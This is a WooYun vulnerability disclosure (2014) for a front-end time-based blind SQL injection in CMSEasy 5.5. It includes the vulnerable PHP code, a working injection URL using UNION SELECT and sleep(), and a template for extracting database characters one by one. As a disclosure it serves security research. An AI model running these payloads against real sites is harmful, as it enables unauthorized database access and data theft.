当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(32) 关注此漏洞

缺陷编号: WooYun-2014-75917

漏洞标题: cmseasy前台sql盲注(绕过union,sleep等函数,无需登录,无防御)

相关厂商: cmseasy

漏洞作者: menmen519

提交时间: 2014-09-12 15:53

公开时间: 2014-12-11 15:54

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 sql注射漏洞利用技巧

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-12: 细节已通知厂商并且等待厂商处理中
2014-09-13: 厂商已经确认,细节仅向厂商公开
2014-09-16: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-11-07: 细节向核心白帽子及相关领域专家公开
2014-11-17: 细节向普通白帽子公开
2014-11-27: 细节向实习白帽子公开
2014-12-11: 细节向公众公开

简要描述:

cmseasy 前台sql盲注(绕过union,sleep等函数,无需登录,无防御)

详细说明:

archive_act.php:(line:27-33)

code 区域
}
front::check_type($this->pagesize);
$announcement = new announcement();
$this->view->announcements = $announcement->getrows(null, 10);
$this->view->usergroupid = 1000;
front::check_type(cookie::get('login_username'), 'safe');
front::check_type(cookie::get('login_password'), 'safe');
$this->view->showarchive = archive::getInstance()->getrow(front::get('aid'));
$addcontentuser = new user();
$addcontentuser = $addcontentuser->getrow(array('userid' => $this->view->showarchive['userid']));







这里有一句:

$this->view->showarchive = archive::getInstance()->getrow(front::get('aid'));



我们跟进去这个函数getrow:

code 区域
function getrow($condition,$order='1 desc',$cols='*') {
$this->condition($condition);
return $this->rec_select_one($condition,'*',$order);
}





然后在看看这个函数condition:

code 区域
function condition(&$condition) {
if (isset($condition) &&is_array($condition)) {
$_condition=array();
foreach ($condition as $key=>$value) {
//$value=str_replace("'","\'",$value);
$_condition[]="`$key`='$value'";
}
$condition=implode(' and ',$_condition);
}
else if (is_numeric($condition)) {
$this->getFields();
$condition="`$this->primary_key`='$condition'";
}else if(true === $condition){





这里我们发现了如果传递进来的东西key没有做任何过滤,

我们发送请求:

url:**.**.**.**/CmsEasy_5.5_UTF-8_20140818_new/uploads/index.php?case=archive&aid[typeid%60%3d1%20UNION%20SELECT/**/1,2,3,if(1,sleep(if(1,5,1)),1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%23]=1



在后台抓取后看看是否效果sql语句完美执行:

SELECT * FROM `cmseasy_archive` WHERE `typeid`=1 UNION SELECT/**/1,2,3,if(1,sleep(if(1,5,1)),1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58#`='1' and (state IS NULL or state<>'-1') ORDER BY 1 desc limit 1



一个完美的sql语句执行完毕,这时候网页刷新时间为5秒钟,那么下来我们怎样去猜测字段

SELECT * FROM `cmseasy_archive` WHERE `typeid`=1 UNION SELECT/**/1,2,3,if(ascii(substr(user(),1,1))=$NUM,sleep(if(1,5,1)),1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58#`='1' and (state IS NULL or state<>'-1') ORDER BY 1 desc limit 1



我们可以改变$NUM的值 这里要进行urlencode



ok剩余的就不解释了

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-09-13 07:58

厂商回复:

感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-09-12 15:56 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)
    0

    哥 我就知道你的沙发一定是我

  2. 2014-09-12 16:00 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    @铁蛋火车侠 哥 我就知道你的楼下一定是我

  3. 2014-09-12 16:11 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    mark,坐等3$,求请客~

  4. 2014-09-12 16:17 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @pandas 毛线 这个有些鸡肋啊,不能取出数据,只不过我加了绕过union 和 sleep 等函数的方法

  5. 2014-09-12 16:19 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    感觉咋像alipay

  6. 2014-09-12 16:21 | magerx ( 普通白帽子 | Rank:257 漏洞数:45 | 别说话。)
    0

    只取系统信息的都是耍流氓。。

  7. 2014-09-12 16:26 | 兔子xss ( 实习白帽子 | Rank:82 漏洞数:42 | 努力学习ing)
    0

    估计已经被提交过了

  8. 2014-09-12 17:49 | bey0nd ( 普通白帽子 | Rank:941 漏洞数:148 | 相忘于江湖,不如相濡以沫)
    0

    来晚了

  9. 2014-09-12 21:53 | 紫霞仙子 认证白帽子 ( 普通白帽子 | Rank:2253 漏洞数:303 | 长期招聘安全测试人员,熟悉or精通python,...)
    0

    参加峰会回来了,见到的肉肉,狗哥,二哥,猪猪侠他们,哈哈哈哈哈

  10. 2014-09-13 20:05 | 铁汉 ( 路人 | Rank:12 漏洞数:6 | 向各种大神学习之)
    0

    草,我是最后一个知道的

登录后才能发表评论,请先 登录